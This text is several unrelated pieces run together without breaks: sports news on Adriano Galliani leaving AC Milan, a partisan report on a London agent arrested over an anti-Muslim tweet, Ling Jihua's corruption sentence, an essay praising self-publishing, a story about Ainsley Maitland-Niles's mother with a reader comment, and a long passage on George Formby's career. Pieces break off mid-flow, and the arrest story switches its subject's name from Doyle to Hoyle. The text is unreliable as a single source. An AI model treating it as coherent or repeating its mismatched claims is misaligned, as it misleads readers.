"I've suffered grave damage to my person," Galliani said. "This is not the way to deal with a generation change. It should be done with elegance. I will be resigning with just cause in the coming days, or maybe I will wait until after the Champions League game with Ajax [on Dec. 11]."
Galliani has been one of the figureheads of Milan for almost three decades. Along with Berlusconi, he has presided over five Champions League triumphs and eight Serie A titles.
However, he has been made partly responsible for the club's current woes. The Rossoneri are now in their worst league position at this stage of a season since 1981, with the club closer to the relegation zone than a place in Europe next season.
That has caused some consternation at board level with Barbara Berlusconi recently declaring her intention of overhauling the club hastening Galliani's exit.
In spite of support from current Real Madrid coach Carlo Ancelotti, who delivered two of those Champions League trophies and said Milan would not be the same without Galliani, it appears the Serie A club's recent move to new headquarters was only the first step towards a revolution. Galliani's departure is the second.
Nevertheless, he says he will leave with his head held high having delivered success to the club that prides itself on having won more trophies than any other in the world.
"It's been said that Milan spend their money badly and we don't have a scouting network like Roma and Fiorentina," Galliani is quoted as saying by the Gazzetta dello Sport. "Well, Roma only qualified for the Champions League once in the past five years while Fiorentina didn't make it once.
"Milan have not made a loss in the past two years while other clubs have mountains of debt. Last year, all of our youth teams made it to the final four. Big presidents from abroad are all calling me, asking me what is going on because they cannot understand it.
"I went to Madrid this summer to sign Kaka without any appointment and they threw open the doors to the offices of Real for me. When I went to Barcelona in August 2010 to sign [Zlatan] Ibrahimovic, president [Sandro] Rosell cut short his family holidays on purpose to greet me."
Despite the sense of bitterness at his exit, Galliani insists he will continue to support the club, whatever his future.
"Stepping down before the Ajax game seemed too hostile an act towards the team, who I will support for the rest of my life," said the 69-year-old. "My affection for the president Berlusconi is unchanged and unchangeable."A talent agency head has been arrested on charges of inciting racial hatred after he posted a critical tweet referencing the Brussels terror attacks.
Matthew Doyle, head partner at a talent agency in London, was outraged over the terrorist attacks in Brussels that left over 30 dead. He took to Twitter to express his anger and said, “I confronted a Muslim woman in Croydon yesterday. I asked her to explain Brussels. She said, ‘nothing to do with me.’ A mealy mouthed reply.”
The London School of Economics graduate’s tweet went viral with many replying along with hundreds of retweets, most of them in support before the initial post was taken down. Mr Doyle also made it clear that he favours Donald Trump for President of the United States and has no problem backing up his opinions saying: “Thanks all you tweeters for proving I can still do PR.”
Mr Doyle told the MailOnline: “I am not out of sync… I think people who are criticizing me are out of sync,” when asked if he thought his comments were correct or if the dozens of replies trying to mock and criticize him were justified.
“I am having a hard time about this. I am not a fall guy in all of this,” he said, echoing the reaction of leftists after other famous terrorist massacres like the Bataclan where many took to social media to shift the conversation away from the victims of the attacks and to spend time talking about how not all Muslims were responsible.
Swiss Green Party politician, Irina Studhalter personified that kind of attitude immediately following the attacks when she tweeted, “I have fears. Not for Islam or terrorism, but for right wing populist incitement that will follow.” The tweet caused a storm on Twitter among German-speaking users.
Many expressed their outrage at the 22-year-old co-president of the young Greens with one saying: “That’s just disgusting. The dead are not even in the ground.” Unlike Mr. Doyle who is still active and tweeting, even after his arrest, Ms. Studhalter made her entire Twitter private so only screenshots remain of her comments.
Breitbart London reached out to her about the comments and she backtracked on them saying: “Twitter doesn’t leave us much space to actually formulate what we want our readers to understand, does it?” and when pressed if she thought right wing extremists warranted more of a threat than Islamic terrorism she said, “I learned that you can’t compare harm to harm.”
In Mr. Hoyle’s case, the Metropolitan Police made a statement confirming that he had been arrested. They said: “A 46-year-old man was this evening arrested at his home in Croydon on suspicion of inciting racial hatred on social media.” It is unknown whether the Crown will pursue charges in the case.BEIJING — The Chinese authorities have sentenced Ling Jihua, the top aide of a former president and Communist Party chief, to life in prison for corruption, according to the state news media.
Mr. Ling was found guilty on Monday of taking bribes, abuse of power and illegally obtaining state secrets, the news reports said. He is one of the highest-ranking Chinese officials to be jailed for corruption.
Mr. Ling joins two other notable senior party officials, Bo Xilai and Zhou Yongkang, in receiving a lifetime prison sentence for corruption. All three men have been accused of trying to undermine the authority of President Xi Jinping, who took office in late 2012, the same year that scandals involving the three men unfolded.
Mr. Bo and Mr. Zhou are considered political enemies of Mr. Xi, and Mr. Ling is a critical player in an informal party group, known as the Youth League faction, that was a center of power before Mr. Xi became China’s top leader. Hu Jintao, the former president and party chief for whom Mr. Ling served, was a leader of that faction.By Alanna Brown, a LuxEcoLiving Advocate, creator of Brown House Online, and author of Moonpennies
The gatekeepers are gone. The agent, the editor, the lawyer, and the publishing house are no longer our end-all be-all in today's literary world. User-friendly online tools like Smashwords, Lulu, and CreateSpace have empowered authors to industrialize their own art. I recently published my novel directly through Amazon and found it a cinch. It's been a number of years since this revolution began, and it took a while for the masses to stop turning their noses up at indie authors as if they were second-class citizens. Although some still do.
And those who do, those who still need a sign-off from Penguin or Random House to feel like a veritable publishing success don't know what they're missing. Independent publishing offers countless benefits. In fact, some established authors are even choosing to relish the perks of this newfound sanction over the traditional approach. Author, blogger, and entrepreneur Penelope Trunk is one of them. She learned a thing or two last year when attempting to publish her book through a large, unnamed operation. It made her realize she could do all the things they were doing, and more. And better. "Print publishers have no idea how to market online," she says.
Gasp.
Here are three big problems the old-timers are facing, and why it's become more appealing to apply an entrepreneurial spirit to book distribution:
1) Overconfidence, or perhaps plain laziness, has prevented the big guys from mastering SEO, content marketing, and social media. This is unacceptable nowadays, with the position search engines and digital media have acquired. Television and print ads have become antiquated marketing methods in comparison to the supremacy of Twitter.
2) The big guys are slow, and indie publishing is fast. With your book in the proper format and the cover image complete, it takes about half an hour to publish your book online. Amazon will have it live in their store within 12 hours. Voilà--your book is out a year ahead of its prospective release date through a mainstream publisher.
3) The big guys are cutting back advances and still taking a huge chunk of the profit. Where a mainstream author gets a 15% royalty, Amazon gives the indie author a 70% royalty. Smashwords is even higher, with an 85% royalty.
James Altucher, an author who's taken both routes, candidly discloses the abysmal lack of marketing effort he's experienced with mainstream houses. Of the handful of books he's released, the two he self-published sold more than five of his traditionally published books combined. He affirms that the chief inquiry of a big publishing company is, "How big is your platform?" Before even looking at a new author's proposal, "They want to know how you can market the book and if they can make money on just your own marketing efforts," says Altucher.
An added perk that he acknowledges is the control an indie author retains over his or her work. No strict editorial confinements. A cover image the author gets final say on. Some may look at this as a bad thing, since it creates leeway for sloppy, unedited books to fill the online outlets. And it may be more tedious for readers to weed through the typos before finding a well-written, expertly edited book.Maitland-Niles's Mother Leaves McCarthy Abusive Voicemail
Thursday, 7th Apr 2016 23:14
On-loan Arsenal winger Ainsley Maitland-Niles’s mother is reported to have left a foul-mouthed voicemail on Blues boss Mick McCarthy’s phone, leading to her son's recent omission from the Town side.
According to The Sun, the 18-year-old’s mother, Jule Niles was angered by McCarthy preventing the England U19 international from appearing at an England kit launch in March in order to prepare for a Town game.
She called the Blues manager, apparently while abroad, leaving him the lengthy abusive and threatening expletive-packed rant.
McCarthy is said to have left Maitland-Niles out of the squad for Town’s 2-0 home victory over Blackburn as a result.
The youngster hasn’t hasn’t featured for Town since, although he was an unused sub for the subsequent game against Rotherham at Portman Road and was in the 20-man squad for Tuesday’s 0-0 draw with Charlton but was left out of the final 18.
McCarthy is said to have been so shocked at receiving the message that he asked members of his staff to listen to it, reportedly "to make sure I'm not going mad".
Arsenal have been made aware and a Gunners source is quoted as saying: "Mick's a Yorkshireman and he's prepared to tolerate most things, but not something like this.
"The language was disgusting and so poisonous that it even shocked Mick. He's only ever tried to do what's right for the kid and protect his career, but this is something new to him.
"He likes the boy and thinks he has potential to be a top player, but he's worried that his mother is having a detrimental affect on his career.”
It’s not the first time Maitland-Niles’s mother has hit the headlines. Last year she was arrested on suspicion of assaulting two people at Arsenal’s training ground, amongst them Arsene Wenger's negotiator Dick Law. She was later released without charge.
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jabberjackson added 23:19 - Apr 7
Gee, thanks Mum
How embarrassing for the poor lad
When will she learn
01473 533xx
5
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. While there, they visited the Victoria Palace Theatre—where Formby Sr had previously been so successful—and saw a performance by the Tyneside comedian Tommy Dixon.[b] Dixon was performing a copy of Formby Sr's act, using the same songs, jokes, costumes and mannerisms, and billed himself as "The New George Formby", a name which angered Eliza and Formby even more. The performance prompted Formby to follow in his father's profession, a decision which was supported by Eliza. As he had never seen his father perform live, Formby found the imitation difficult and had to learn his father's songs from records, and the rest of his act and jokes from his mother.[6]
On 21 March 1921 Formby gave his first professional appearance in a two-week run at the Hippodrome in Earlestown, Lancashire, where he received a fee of £5 a week. In the show he was billed as George Hoy, using his mother's maiden name—he explained later that he did not want the Formby name to appear in small print.[17] His father's name was used in the posters and advertising, George Hoy being described as "Comedian. (son of George Formby)". While still appearing in Earlestown Formby was hired to appear at the Moss Empire chain of theatres for £17 10s a week. His first night was unsuccessful and he later said of it, "I was the first turn, three minutes, died the death of a dog".[17] He toured around venues in Northern England, although he was not well received, and was booed and hissed while performing in Blyth, Northumberland. As a result he experienced frequent periods of unemployment—up to three months at one point. Formby spent two years as a support act touring round the northern halls, and although he was poorly paid, his mother supported him financially.
In 1923 Formby started to play the ukulele, although the exact circumstances of how he came to play the instrument are unknown,[c] and he introduced it into his act during a run at the Alhambra Theatre in Barnsley. When the songs—still his father's material—were well received, he changed his stage name to George Formby, and stopped using the John Willie character. Another significant event was his appearance in Castleford, West Yorkshire, where appearing on the same bill was Beryl Ingham, an Accrington-born champion clogdancer and actress who had won the All England Step Dancing title at the age of 11. Beryl, who had formed a dancing act with her sister, May, called "The Two Violets", had a low opinion of Formby's act, and later said that "if I'd had a bag of rotten tomatoes with me I'd have thrown them at him". Formby and Beryl entered into a relationship and married two years later, on 13 September 1924, at a register office in Wigan, with Formby's aunt and uncle as witnesses. Upon hearing the news, Eliza insisted on the couple having a church wedding, which followed two months later.
The Burnley News, May 1921 for George Hoy An advertisement from, May 1921 for George Hoy
Beryl took over as George's manager, and changed aspects of his act, including the songs and jokes. She instructed him on how to use his hands, and how to work his audience. She also persuaded him to change his stage dress to black tie—although he appeared in a range of other costumes too—and to take lessons in how to play the ukulele properly. By June 1926 he was proficient enough to earn a one-off record deal—negotiated by Beryl—to sing six of his father's songs for the Edison Bell/Winner label. Formby spent the next few years touring, largely in the north, but also appearing at the Shepherd's Bush Empire, his official London debut. Although he had a further recording session in October 1929, performing two songs for Dominion Records, "Beryl's avaricious demands would prevent any serious contract from coming George's way", according to David Bret, Formby's biographer. That changed in 1932, when Formby signed a three-year deal with Decca Records. One of the songs he recorded in July was "Chinese Laundry Blues", telling the story of Mr Wu, which became one of his standard songs, and part of a long-running series of songs about the character.[d] Over the course of his career Formby went on to record over 200 songs, around 90 of which were written by Fred Cliffe and Harry Gifford. In the 1932 winter season Formby appeared in his first pantomime, Babes in the Wood, in Bolton, after which he toured with the George Formby Road Show around the north of England, with Beryl acting as the commère; the show also toured in 1934.
Burgeoning film career: 1934–40 Edit
With Formby's growing success on stage, Beryl decided it was time for him to move into films. In 1934 she approached the producer Basil Dean, the head of Associated Talking Pictures (ATP). Although he expressed an interest in Formby, he did not like the associated demands from Beryl. She also met the representative of Warner Bros. in the UK, Irving Asher, who was dismissive, saying that Formby was "too stupid to play the bad guy and too ugly to play the hero." Three weeks later Formby was approached by John E. Blakeley of Blakeley's Productions, who offered him a one-film deal.
The film, Boots! Boots!, was shot on a budget of £3,000 in a one-room studio in Albany Street, London. Formby played the John Willie character, while Beryl also appeared, and the couple were paid £100 for the two weeks' work, plus 10 per cent of the profits.[41][e] The film followed a revue format, and Jo Botting, writing for the British Film Institute, describes it as having a "wafer-thin plot" that is "almost incidental."[41] Botting also considers the film has "poor sound quality, static scene set-ups and [a] lack of sets", and while it did not impress the critics, audience figures were high.[41] Formby followed this up with Off the Dole in 1935, again for Blakeley, who had re-named his company Mancunian Films. The film cost £3,000 to make, and earned £80,000 at the box office. As with Boots! Boots!, the film was in a revue format, and Formby again played John Willie, with Beryl as his co-star.[44] According to Formby's biographer, Jeffrey Richards, the two films for Blakeley "are an invaluable record of the pre-cinematic Formby at work."
The success of the pictures led Dean to offer Formby a seven-year contract with ATP, which resulted in the production of 11 films, although Dean's fellow producer, Michael Balcon, considered Formby to be "an odd and not particularly loveable character." The first film from the deal was released in 1935. No Limit features Formby as an entrant in the Isle of Man annual Tourist Trophy (TT) motorcycle race. Monty Banks directed, and Florence Desmond took the female lead.[f] According to Richards, Dean did not try "to play down Formby's Lancashire character" for the film, and employed Walter Greenwood, the Salford-born author of the 1933 novel Love on the Dole, as the scriptwriter. Filming was troubled, with Beryl being difficult to everyone present. The writer Matthew Sweet describes the set as "a battleground" because of her actions, and Banks unsuccessfully requested that Dean bar Beryl from the studio. The Observer thought that parts of No Limit were "pretty dull stuff", but the race footage was "shot and cut to a maximum of excitement." Regarding the star of the film, the reviewer thought that "our Lancashire George is a grand lad; he can gag and clown, play the banjo and sing with authority... Still and all, he doesn't do too bad."[49] The film was so popular it was reissued in 1938, 1946 and 1957.
The formula used for No Limit was repeated in his following works: Formby played "the urban 'little man' defeated—but refusing to admit it."[50][g] He portrayed a good-natured, but accident-prone and incompetent Lancastrian, who was often in a skilled trade, or the services. The plots were geared to Formby trying to achieve success in a field unfamiliar to him (in horse racing, the TT Races, as a spy or a policeman), and by winning the affections of a middle-class girl in the process.[52] Interspersed throughout each film is a series of songs by Formby, in which he plays the banjo, banjolele or ukulele. The songs are, in the words of the academic Brian McFarlane, "unpretentiously skilful in their balance between broad comedy and action, laced with... [Formby's] shy ordinariness."[52]
"To overcrowded flats I've been, Sixteen in one bed I've seen,
With the lodger tucked up in between,
When I'm cleaning windows! Now lots of girls I've had to jilt,
For they admire the way I'm built,
It's a good job I don't wear a kilt,
When I'm cleaning windows!" When I'm cleaning windows!" – Banned by the BBC: "The Window Cleaner", second recorded version
No Limit was followed by Keep Your Seats, Please in 1936, which was again directed by Banks with Desmond returning as the co-star. Tensions arose in pre-production with Banks and some of the cast requesting to Dean that Beryl be banned from the set. Tempers had also become strained between Formby and Desmond, who were not on speaking terms except to film scenes. The situation became so bad that Dean avoided visiting his studios for the month of filming. The film contained the song "The Window Cleaner" (popularly known as "When I'm Cleaning Windows"), which was soon banned by the BBC. The corporation's director John Reith stated that "if the public wants to listen to Formby singing his disgusting little ditty, they'll have to be content to hear it in the cinemas, not over the nation's airwaves"; Formby and Beryl were furious with the block on the song. In May 1941 Beryl informed the BBC that the song was a favourite of the royal family, particularly Queen Mary, while a statement by Formby pointed out that "I sang it before the King and Queen at the Royal Variety Performance." The BBC relented and started to broadcast the song.
When production finished on Keep Your Seats, Please, Beryl insisted that for the next film there should be "no Eye-Ties [sic] and stuck-up little trollops involved", referring to Banks and Desmond, respectively. Dean had tired of the on-set squabbles, and for the third ATP film, Feather Your Nest, he appointed William Beaudine as the director, and Polly Ward, the niece of the music hall star Marie Lloyd, as the female lead. Bret describes the songs in the film as "comparatively bland", but "with the exception of the one which would become immortal": "Leaning on a Lamp-post."[h]
By the time of the next production, Keep Fit in 1937, Dean had begun to assemble a special team at Ealing Studios to help develop and produce the Formby films; key among the members were the director Anthony Kimmins, who went on to direct five of Formby's films. Kay Walsh was cast as the leading lady and, in the absences of Beryl from the set, Formby and Walsh had an affair, after she fell for his "flirtatious behaviour off-camera."[63][i] Although Beryl was furious with Walsh, and tried to have her removed from the film, a showdown with Dean proved fruitless. Dean informed her that Walsh was to remain the lead in both Keep Fit, and in Formby's next film (I See Ice, 1938); to mollify her Dean raised Formby's fee for the latter film to £25,000.[63][j]
When filming concluded on I See Ice, Formby spent the 1937 summer season performing in the revue King Cheer at the Opera House Theatre, Blackpool, before appearing in a 12-minute slot in the Royal Variety Performance at the London Palladium that November. The popularity of his performances meant that in 1937 he was the top British male star in box office takings, a position he held every subsequent year until 1943. Additionally, between 1938 and 1942 he was also the highest-paid entertainer in Britain, and by the end of the 1930s was earning £100,000 a year.[k] In early 1938 Dean informed the Formbys that in the next film, It's in the Air, Banks would return to direct and Walsh would again be the leading lady. Beryl objected strongly, and Kimmins continued his directorial duties, while Ward was brought in for the female lead. Beryl, as she did with all Formby's female co-stars, "read the 'keep-your-hands-off-my-husband' riot act" to the actress. In May, while filming It's in the Air, Formby purchased a Rolls-Royce, with the personalised number plate GF 1. Every year afterwards he would purchase either a new Rolls Royce or Bentley, buying 26 over the course of his life.
In the autumn of 1938 Formby began work on Trouble Brewing, released the following year with 19-year-old Googie Withers as the female lead; Kimmins again directed. Withers later recounted that Formby did not speak to her until, during a break in filming when Beryl was not present, he whispered out of the corner of his mouth "I'm sorry, love, but you know, I'm not allowed to speak to you", something she thought was "very sweet." His second release of 1939—shortly after the outbreak of the Second World War—was Come On George!, which cast Pat Kirkwood in the female lead; the pair disliked each other intensely, and neither of the Formbys liked several of the other senior cast members. Come On George! was screened for troops serving in France before being released in Britain.
Second World War: service with ENSA Edit
Basil Dean, who produced 11 of Formby's films between 1939 and 1941
At the outbreak of the Second World War Dean left ATP and became the head of the Entertainments National Service Association (ENSA),[75] the organisation that provided entertainment to the British Armed Forces.[l] Over the course of five months Formby requested to sign up for ENSA, but was denied; Dean relented in February 1940, and Formby was signed on a fixed salary of £10 per week, although he still remained under contact to ATP. He undertook his first tour in France in March, where he performed for members of the British Expeditionary Force.
The social research organisation Mass-Observation recorded that Formby's first film of 1940, Let George Do It!, gave a particularly strong boost to early-war British civilian morale. In a dream sequence after being drugged, Formby's character parachutes into a Nuremberg Rally and punches Hitler. According to Richards, the scene provided "the visual encapsulation of the people's war with the English Everyman flooring the Nazi Superman". The scene was so striking that the film became Formby's first international release, in the US, under the title To Hell With Hitler, and in Moscow—where it was released in 1943 under the title Dinky Doo—it was shown to packed houses and received record box-office takings for over ten months.[81] The critics also praised the film, and the Kinematograph Weekly called it Formby's "best performance to date", and the film, "a box office certainty".
Formby's ENSA commitments were heavy, touring factories, theatres and concert halls around Britain. He also gave free concerts for charities and worthy causes, and raised £10,000 for the Fleetwood Fund on behalf of the families of missing trawlermen. He and Beryl also set up their own charities, such as the OK Club for Kids, whose aim was to provide cigarettes for Yorkshire soldiers, and the Jump Fund, to provide home-knitted balaclavas, scarves and socks to servicemen. Formby also joined the Home Guard as a dispatch rider, where he took his duties seriously, and fitted them around his other work whenever he could.
Formby continued filming with ATP, and his second film of 1940, Spare a Copper, was again focused on an aspect of the war, this time combating fifth columnists and saboteurs in a Merseyside dockyard. Cinema-goers had begun to tire of war films, and his next venture, Turned Out Nice Again returned to less contentious issues, with Formby's character caught in a domestic battle between his new wife and mother. Early in the filming schedule, he took time to perform in an ENSA show that was broadcast on the BBC from Aldwych tube station as Let the People Sing; he sang four songs, and told the audience, "Don't forget, it's wonderful to be British!" Towards the end of 1940 Formby tried to enlist for active military service, despite Beryl informing him that by being a member of ENSA he was already signed up. The examining board rejected him as being unfit, because he had sinusitis and arthritic toes. He spent the winter season in pantomime at the Opera House Theatre, Blackpool, portraying Idle Jack in Dick Whittington. When the season came to an end the Formbys moved to London and, in May 1941, performed for the royal family at Windsor Castle. He had commissioned a new set of inoffensive lyrics for "When I'm Cleaning Windows", but was informed that he should sing the original, uncensored version, which was enjoyed by the royal party, particularly Queen Mary, who asked for a repeat of the song. King George VI presented Formby with a set of gold cuff links, and advised him to "wear them, not put them away".
With the ATP contract at an end, Formby decided not to renew or push for an extension. Robert Murphy, in his study of wartime British cinema, points out that Balcon, Formby's producer at the time, "seems to have made little effort to persuade him not to transfer his allegiance", despite the box office success enjoyed by Let George Do It and Spare a Copper. Numerous offers came in, and Formby selected the American company Columbia Pictures, in a deal worth in excess of £500,000[m] to make a minimum of six films—seven were eventually made. Formby set up his own company, Hillcrest Productions, to distribute the films, and had the final decision on the choice of director, scriptwriter and theme, while Columbia would have the choice of leading lady. Part of Formby's reasoning behind the decision was a desire for parts with more character, something that would not have happened at ATP.
At the end of August 1941 production began on Formby's first film for Columbia, South American George, which took six weeks to complete. Formby's move to an American company was controversial, and although his popular appeal seemed unaffected, his "films were treated with increasing critical hostility", according to John Mundy in his 2007 examination of British musical film. The reviewer for The Times wrote that the story was "confused" and considered that "there is not sufficient comic invention in the telling" of it.[99] Murphy writes that the criticism "had more to do with the inadequate vehicles which he subsequently appeared in than in any diminution of his personal popularity."
"Standing with his back to a tree or a wall of sandbags, with men squatting on the ground in front of him, he sang song after song, screwing up his face into comical expressions of fright whenever shells exploded in the near distance, and making little cracks when the firing drowned the point lines in his songs". – Basil Dean, the head of ENSA, on some of Formby's work with the organisation.
In early 1942 Formby undertook a three-week, 72-show tour of Northern Ireland, largely playing to troops but also undertaking fund-raising shows for charity—one at the Belfast Hippodrome raised £500. He described his time in Ulster as "the pleasantest tour I've ever undertaken". He returned to the mainland by way of the Isle of Man, where he entertained the troops guarding the internment camps. After further charity shows—raising £8,000 for a tank fund—Formby was the associate producer for the Vera Lynn film We'll Meet Again (1943). In March he also filmed Much Too Shy which was released in October that year. Although the film was poorly received by the critics, the public still attended in large numbers, and the film was profitable.
In the summer of 1942 Formby was involved in a controversy with the Lord's Day Observance Society, who had filed law suits against the BBC for playing secular music on Sunday. The society began a campaign against the entertainment industry, claiming all theatrical activity on a Sunday were unethical, and cited a 1667 law which made it illegal. With 60 leading entertainers already avoiding Sunday working, Dean informed Formby that his stance would be crucial in avoiding a spread of the problem. Formby issued a statement, "I'll hang up my uke on Sundays only when our lads stop fighting and getting killed on Sundays... as far as the Lord's Day Observance Society are concerned, they can mind their own bloody business. And in any case, what have they done for the war effort except get on everyone's nerves?" The following day it was announced that the pressure from the society was to be lifted.
At the end of the year Formby started filming Get Cracking, a story about the Home Guard, which was completed in under a month, the tight schedule brought about by an impending ENSA tour of the Mediterranean.[n] Between the end of filming Get Cracking and the release of the film in May 1943, Formby undertook a tour of Northern Scotland and the Orkney Islands, and had nearly completed shooting on his next film, Bell-Bottom George. The reviewer for The Times opined that "Get Cracking, although a distinct improvement on other films in which Mr Formby has appeared, is cut too closely to fit the demands of an individual technique to achieve any real life of its own".[108]
Bell-Bottom George was described 60 years later by the academic Baz Kershaw as being "unashamedly gay and... peppered with homoerotic scenes"; Bret concurs, and notes that "the majority of the cast and almost every one of the male extras was unashamedly gay",[o] The film was a hit with what Bret describes as Formby's "surprisingly large, closeted gay following". The reviewer for The Manchester Guardian was impressed with the film, and wrote that "there is a new neatness of execution and lightness of touch about this production... while George himself can no longer be accused of trailing clouds of vaudevillian glory".[111] The reviewer also considered Formby "our first authentic and strictly indigenous film comedian".[111] After completing filming, the Formbys undertook a further ENSA tour. Although Dean personally disliked the Formbys, he greatly admired the tireless work they did for the organisation. In August Formby undertook a 53-day tour in a significant portion of the Mediterranean, including Italy, Sicily, Malta, Gibraltar, Libya, Tunisia, Egypt, Lebanon and Palestine;[p] visiting 750,000 troops in thirteen countries, touring 25,000 miles (40,000 km) in the process and returning to England in October. The couple travelled around the countryside in a Ford Mercury that Formby had purchased from the racing driver Sir Malcolm Campbell, which had been converted to sleep two in the back.
Ambitious, off the Normandy coast in 1944 Formby and his wife on HMS, off the Normandy coast in 1944
In January 1944 Formby described his experiences touring for ENSA in Europe and the Middle East in a BBC radio broadcast. He said that the troops "were worrying quite a lot about you folks at home, but we soon put them right about that. We told them that after four and a half years, Britain was still the best country to live in". Shortly after he began filming He Snoops to Conquer—his fifth picture for Columbia—he was visited on set by the Dance Music Policy Committee (DMPC), an organisation responsible for vetting music for broadcast, which had also been given responsibility for checking if music was sympathetic towards the enemy during the war. The DMPC interviewed Formby about three songs that had been included in Bell-Bottom George: "Swim Little Fish", "If I Had a Girl Like You" and "Bell-Bottom George". Formby was summoned to the BBC's offices to perform his three songs in front of the committee, with his song checked against the available sheet music. A week later, on 1 February, the committee met and decided the songs were innocuous, although Formby was told that he would have to get further clearance if the lyrics were changed. Bret opines that he had been the victim of a plot by a member of the Variety Artists' Federation, following Formby's scathing comments on entertainers who were too scared to leave London to entertain the troops. The comments, which appeared in the forces magazine Union Jack, were then widely reported in the press in Britain. The Variety Artists' Federation demanded that Formby release names, and threatened him with action if he did not do so, but he refused to give in to their pressure.
Formby went to Normandy in July 1944 in the vanguard of a wave of ENSA performers. He and Beryl travelled over on a rough crossing to Arromanches giving a series of impromptu concerts to troops in improvised conditions, including on the backs of farm carts and army lorries, or in bomb-cratered fields. In one location the German front line was too close for him to perform, so he crawled into the trenches and told jokes with the troops there.[q] He then boarded HMS Ambitious for his first scheduled concert before returning to France to continue his tour. During dinner with General Bernard Montgomery, whom he had met in North Africa, Formby was invited to visit the glider crews of 6th Airborne Division, who had been holding a series of bridges without relief for 56 days. He did so on 17 August in a one-day visit to the front line bridges, where he gave nine shows, all standing beside a sandbag wall, ready to jump into a slit trench in case of problems; much of the time his audience were in foxholes. After the four-week tour of France, Formby returned home to start work on I Didn't Do It (released in 1945), although he continued to work on ENSA concerts and tours in Britain. Between January and March 1945, shortly after the release of He Snoops to Conquer, he left on an ENSA tour that took in Burma, India and Ceylon (the last is now Sri Lanka). The concerts in the Far East were his last for ENSA, and by the end of the war it was estimated that he had performed in front of three million service personnel.
In 1946 the song "With My Little Stick of Blackpool Rock", which Formby had recorded in 1937, began to cause problems at the BBC for broadcasts of Formby or his music. The producer of one of Formby's live television programmes received a letter from a BBC manager that stated "We have no record that "With My Little Stick of Blackpool Rock" is banned. We do however know and so does Formby, that certain lines in the lyric must not be broadcast".[124] Other sources, including the BBC, state that the song was banned from being broadcast.[126] Between July and October 1946 Formby filmed George in Civvy Street, which would be his final film. The story concerns the rivalry between two pubs: the Unicorn, bequeathed to Formby's character, and the Lion, owned by his childhood sweetheart—played by Rosalyn Boulter—but run by an unscrupulous manager. Richards considers the film to have "symbolic significance"; at the end, with the marriage between the two pub owners, Formby "bowed out of films unifying the nation mythically, communally and matrimonially".
"With my little stick of Blackpool rock Along the promenade I stroll;
In my pocket it got stuck I could tell,
'Cos when I pulled it out I pulled my shirt up as well.
Everyday, wherever I stray, the kids around me flock;
A girl while bathing clung to me—my wits I had to use—
She cried I'm drowning and to save me you won't refuse;
I said well if you're drowning I don't want to lose
My little stick of Blackpool rock" My little stick of Blackpool rock" – "With My Little Stick of Blackpool Rock":
banned by the BBC?
The film was less successful at the box office than his previous works, as audience tastes had changed in the post-war world. Fisher opines that because of his tireless war work, Formby had become too synonymous with the war, causing the public to turn away from him, much as they had from the wartime British Prime Minister, Winston Churchill. Bret believes that post-war audiences wanted intrigue, suspense and romance, through the films of James Mason, Stewart Granger, David Niven and Laurence Olivier. Bret also indicates that Formby's cinematic decline was shared by similar performers, including Gracie Fields, Tommy Trinder and Will Hay. Formby's biographers, Alan Randall and Ray Seaton, opine that in his late 40s, Formby "was greying and thickening out", and was too old to play the innocent young Lancashire lad. The slump in his screen popularity hit Formby hard, and he became depressed. In early 1946 Beryl checked him into a psychiatric hospital under her maiden name, Ingham. He came out after five weeks, in time for a tour of Scandinavia in May.
On his return from Scandinavia Formby went into pantomime in Blackpool; while there, he learned of his appointment as Officer of the Order of the British Empire (OBE) in the 1946 King's Birthday Honours.[133] Although delighted, he was upset that Beryl went without official recognition, and said "if somethin' was comin' our way, ah'd like it to be somethin' Beryl could have shared". Later that year the Formbys toured South Africa shortly before formal racial apartheid was introduced. While there they refused to play racially-segregated venues. When Formby was cheered by a black audience after embracing a small black girl who had presented his wife with a box of chocolates, National Party leader Daniel François Malan (who later introduced apartheid) telephoned to complain; Beryl replied "Why don't you piss off, you horrible little man?"[135]
Formby returned to Britain at Christmas and appeared in Dick Whittington at the Grand Theatre, Leeds for nine weeks, and then, in February 1947, he appeared in variety for two weeks at the London Palladium. Reviewing the show, The Times thought Formby was "more than ever the mechanized perfection of naive jollity. His smile, though fixed, is winning, and his songs... are catchy".[138] In September that year he went on a 12-week tour of Australia and New Zealand. On his return he was offered more film roles, but turned them down, saying "when I look back on some of the films I've done in the past it makes me want to cringe. I'm afraid the days of being a clown are gone. From now on I'm only going to do variety". He began suffering increasing health problems including a gastric ulcer, and was treated for breathing problems from his heavy smoking. He finished the year in pantomime, appearing as Buttons in Cinderella at the Liverpool Empire Theatre, with Beryl playing Dandini.
In September 1949 Formby went on a 19 city coast-to-coast Canadian tour, from which he returned unwell. While subsequently appearing in Cinderella in Leeds, he collapsed in his dressing room. The attending doctor administered morphine, to which Formby briefly became addicted. Further poor health plagued him into 1950, with a bout of dysentery, followed by appendicitis,[r] after which he recuperated in Norfolk, before giving another royal command performance that April. He undertook two further international tours that year: one to Scandinavia, and a second to Canada. His earnings of Ca$200,000 were heavily taxed: Canadian taxes took up $68,000, and UK taxes took 90% of the balance. Formby complained to reporters about the level of taxation, saying "That's it. So long as the government keeps bleeding me dry, I shan't be in much of a hurry to work again!"; he and Beryl spent the rest of the year resting in Norfolk, in temporary retirement.
Formby was tempted back to work by the theatrical impresario Emile Littler, who offered him the lead role of Percy Piggott in Zip Goes a Million, a play based on the 1902 novel Brewster's Millions by G. B. McCutcheon; Formby was offered £1,500, plus a share of the box-office takings. The show premiered at the Coventry Hippodrome in September 1951 before opening at the Palace Theatre, London on 20 October. The Times commented unfavourably, saying that although the audience were appreciative of the play, they "could not conceivably have detected a spark of wit in either the lyrics or the dialogue"; the paper was equally dismissive of Formby, writing that "he has a deft way with a song or a banjo, but little or no finesse in his handling of a comic situation".[152]
A month after the play opened in London, Formby was the guest star on Desert Island Discs, where one of his choices was his father's "Standing on the Corner of the Street".[s] In early 1952 Formby's health began to decline and, on 28 April, he decided to withdraw from Zip Goes a Million. On the way to the theatre to inform Littler, Formby suffered a heart attack, although it took the doctors five days to diagnose the coronary and admit him to hospital. He was treated for both the attack, and his morphine addiction. He stayed in hospital for nine weeks before returning home to Lytham St Annes, Lancashire, where he announced his retirement.
Health problems and intermittent work: 1952–60 Edit
During his recuperation Formby contracted gastroenteritis and had a suspected blood clot on his lung, after which he underwent an operation to clear a fishbone that was stuck in his throat. He had recovered sufficiently by April 1953 to undertake a 17-show tour of Southern Rhodesia (now Zimbabwe), before a special appearance at the Southport Garrick Theatre. That September he turned on the Blackpool Illuminations.
